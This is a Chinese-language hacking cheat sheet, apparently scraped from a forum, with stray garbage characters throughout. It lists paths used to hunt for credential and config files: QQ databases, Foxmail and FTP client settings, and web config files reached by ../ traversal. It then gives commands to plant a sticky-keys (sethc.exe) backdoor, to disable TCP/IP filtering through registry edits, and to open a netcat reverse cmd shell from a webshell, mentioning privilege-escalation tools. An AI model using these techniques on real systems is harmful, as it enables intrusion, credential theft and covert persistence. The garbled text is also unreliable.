0 L' M) q3 y6 u, {/ ac:\Apache2\php\license.txt
5 O" A8 a( W' S. _+ I5 DC:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
7 p( X0 d4 R. R% z% a1 x0 z/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
c:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
+ x4 x) L& t& K: K9 V- s1 ~c:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
# u! r& T8 X9 x+ c: g3 D, E$ {/ ^c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
8 v" P% X+ U* N" A9 l- l* GC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
; g5 Q0 t0 }( Q' }C:\Program Files\tencent\Foxmal\accounts.cfg
" f* ^" X. d! [) o. Q1 [9 ZC:\Program Files\LeapFTP 3.0\LeapFTP.exe
, l! u1 |7 R, Q: N7 `; S# EC:\Program Files\LeapFTP\LeapFTP.exe
! k. k% e) M+ o# W* F- C% nc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
1 C. ~; c* }1 O' @' W, z& `5 `C:\Program Files\FlashFXP\flashfxp.exe
. m- ?$ S; S! w* P& ]c:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
1 C7 h4 g( }. a* g" i8 u* }c:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
  w! J; s  [6 B8 u3 K: d/ z- Hc:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
6 ]" y4 q0 B4 B3 u
3.网站相对路径:

# _' E3 G4 z+ ~% d3 ]5 s, }/config.php
  g; y2 o) C- ]9 k( [! t../../config.php
" Q  c* G" |* i../config.php
9 w" ^  N' z- T( `7 d; O! G../../../config.php
9 p% |3 V9 I& m- ?/config.inc.php
./config.inc.php
0 b, ?) K0 S3 M2 X( w$ `0 p" L../../config.inc.php
../config.inc.php
! p  A& [8 _- v" L8 M: o( N1 _../../../config.inc.php
0 ]6 f# j* C( q0 Z; u/conn.php
$ `! J4 ^. i  G- ^/ A./conn.php
../../conn.php
  c( T4 f. v; X3 Z) O8 T  L../conn.php
* \. V8 n% s" z3 y; J* j../../../conn.php
& H) O/ k' b1 h# U7 K/conn.asp
./conn.asp
6 p; y' ~/ T4 C* Z+ i( p../../conn.asp
../conn.asp
' [9 P. j/ _5 w5 F../../../conn.asp
/config.inc.php
./config.inc.php
$ _/ d9 V7 O2 g. ]/ B5 L7 D../../config.inc.php
/ M  E5 P8 A) R5 w../config.inc.php
5 X: X. n6 U1 L( @../../../config.inc.php
/config/config.php
1 [( w' [; F: Y1 F  B7 {../../config/config.php
../config/config.php
9 J; R; z5 f; G1 c+ f* h../../../config/config.php
# y' z$ a- x2 Q3 j' a; i/ c9 M7 m/config/config.inc.php
./config/config.inc.php
2 g1 h! x" d% ~../../config/config.inc.php
../config/config.inc.php
3 {1 X  L4 p. _) R/ o' I../../../config/config.inc.php
# v' a' @; m* i$ T, O4 C/config/conn.php
" Y, Q5 r; |/ R; y./config/conn.php
../../config/conn.php
* g8 W- a# U' P3 \: d7 y8 ~../config/conn.php
../../../config/conn.php
5 u( s7 M: N7 V, e6 F/config/conn.asp
) a$ x& o/ ?  X, O0 `, F) N./config/conn.asp
../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
% ^! n% N& {. f/config/config.inc.php
( B8 X: f9 h9 B4 w) k. g" _./config/config.inc.php
7 V+ j" L# R/ c, C../../config/config.inc.php
../config/config.inc.php
0 j2 U0 ]6 C' T% k../../../config/config.inc.php
/data/config.php
1 F: O: k* Z1 J, J6 g../../data/config.php
. ~4 h) _' N3 Z' D; ~../data/config.php
../../../data/config.php
; i2 x; m! G3 K1 }' N% {: u/data/config.inc.php
) t/ n1 s' E( n; r* F+ w; W./data/config.inc.php
9 x, F9 Z6 d! w+ W% r# l6 X../../data/config.inc.php
7 Y& z8 l/ T! |: p../data/config.inc.php
  v0 g% }# C+ R( s2 J../../../data/config.inc.php
/data/conn.php
./data/conn.php
../../data/conn.php
../data/conn.php
../../../data/conn.php
, Y. W% o0 @* L6 ^( \' ^6 a/data/conn.asp
./data/conn.asp
: T8 ^: ?) _8 }../../data/conn.asp
& t# C9 p# P% H0 y, E../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
$ A# K+ p0 I- t5 W# l5 L./data/config.inc.php
../../data/config.inc.php
0 r3 {8 \) \) E. b../data/config.inc.php
../../../data/config.inc.php
: e' J' x% I0 J- \7 J/include/config.php
../../include/config.php
../include/config.php
../../../include/config.php
/include/config.inc.php
& D  x' O9 g' p, ^( Q" Z0 h./include/config.inc.php
1 l9 L! F. g& ]../../include/config.inc.php
../include/config.inc.php
9 N, M  J7 r1 i6 ]6 z7 L7 Y. l' u4 R../../../include/config.inc.php
: X& [1 x" b+ ~5 o* o/include/conn.php
1 D/ S9 ^7 }$ s' h6 S1 f./include/conn.php
. s* z8 L3 C0 @/ v! ]3 e. o../../include/conn.php
../include/conn.php
6 g7 q+ l$ x) @# M3 p../../../include/conn.php
4 U: T- ~# ^' U/include/conn.asp
./include/conn.asp
../../include/conn.asp
! A& c3 Q; L$ r3 u../include/conn.asp
8 S" L) x1 y! i/ m2 {../../../include/conn.asp
/include/config.inc.php
9 x  g' V* a, e+ p* D./include/config.inc.php
../../include/config.inc.php
- }" I! h, ^) B6 n# }3 z../include/config.inc.php
../../../include/config.inc.php
: m& f7 B$ |5 b" x4 g( [3 D/inc/config.php
../../inc/config.php
../inc/config.php
) p. a; ~: |" [% H2 a  G../../../inc/config.php
! ?1 z- N& H+ l" z/inc/config.inc.php
. \& D! h2 R/ Y$ p$ l. t! K./inc/config.inc.php
../../inc/config.inc.php
& B) V* I& B/ l1 a% ?  {( K& N../inc/config.inc.php
../../../inc/config.inc.php
5 X3 B+ U' @/ L2 ?9 a# ^/inc/conn.php
) m- r4 r4 k* ~+ w2 o./inc/conn.php
) \* I) w: G) \5 f. M7 x# f../../inc/conn.php
../inc/conn.php
) f9 |" u+ g0 Q' Z: P  c- d../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
7 {5 S5 N5 n  _1 @* [../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
. p+ k# D0 y% h/ G/inc/config.inc.php
, J* M) n* Q3 G' ?./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
- U  n* a7 P2 |6 |../../../inc/config.inc.php
; v0 x5 ]; R; y, ?/index.php
$ Z; u+ l* p& S4 J1 M./index.php
../../index.php
- F* m7 f" A0 j2 A; K8 R../index.php
../../../index.php
/index.asp
, S. W! }) C2 n% V" c./index.asp
../../index.asp
../index.asp
' b6 W; K' G, i( y$ D" C! o/ J1 F* h  P../../../index.asp
  Z6 q% K4 p6 p2 R9 L6 A5 y4 z/ [替换SHIFT后门
. t# d) G: n* K& j  A# j' p　attrib c:\windows\system32\sethc.exe -h -r -s

1 }- G  w( U3 X: B　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
- S) |# d8 a4 u7 T( x3 h) _* K
　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
! S' x5 n0 H' B! d$ e9 ]
　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
: Y' s) C; l/ Y, q9 v
- n' O( [. X# t. ^  X& H2 M　　attrib c:\windows\system32\sethc.exe +h +r +s
7 R3 u, B4 U& c" K- S- H
* B$ p; l) b$ T/ n0 |: x　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
9 D9 Z! ?; |9 E" bTCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
; D. C+ l1 ^/ }0 W8 Q- yHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

' Y& ?6 t0 Q) J分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
+ _6 M0 U/ B2 s' d( a- l# Nregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
2 @) M% h' l& i0 _2 S, eregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
0 B6 a2 \4 S1 R6 w  H. m6 ?命令来导出注册表项
+ ?( R% ~% V( c: w. f- g
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

6 x7 A: D: q6 g4 @- t5 m. v  U, T再将以上三个文件分别用
8 n& J: k' o" O. d; _regedit -s D:\a.reg
regedit -s D:\b.reg
regedit -s D:\c.reg
3 M  B8 t: d! R: L, ~" G导入注册表即可

webshell提权小技巧
6 l: y7 C% x9 K; t% `' kcmd路径:
c:\windows\temp\cmd.exe
' U4 x' {/ G! z8 g" J* j3 R2 p9 S% xnc也在同目录下
例如反弹cmdshell：
5 Q( C& M6 P% W) g/ \/ m  \"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
( o) J6 `, O* K% U: b通常都不会成功。

9 i4 J' B/ {1 H% `而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
" D1 _# ~1 F  r, I3 z% K命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功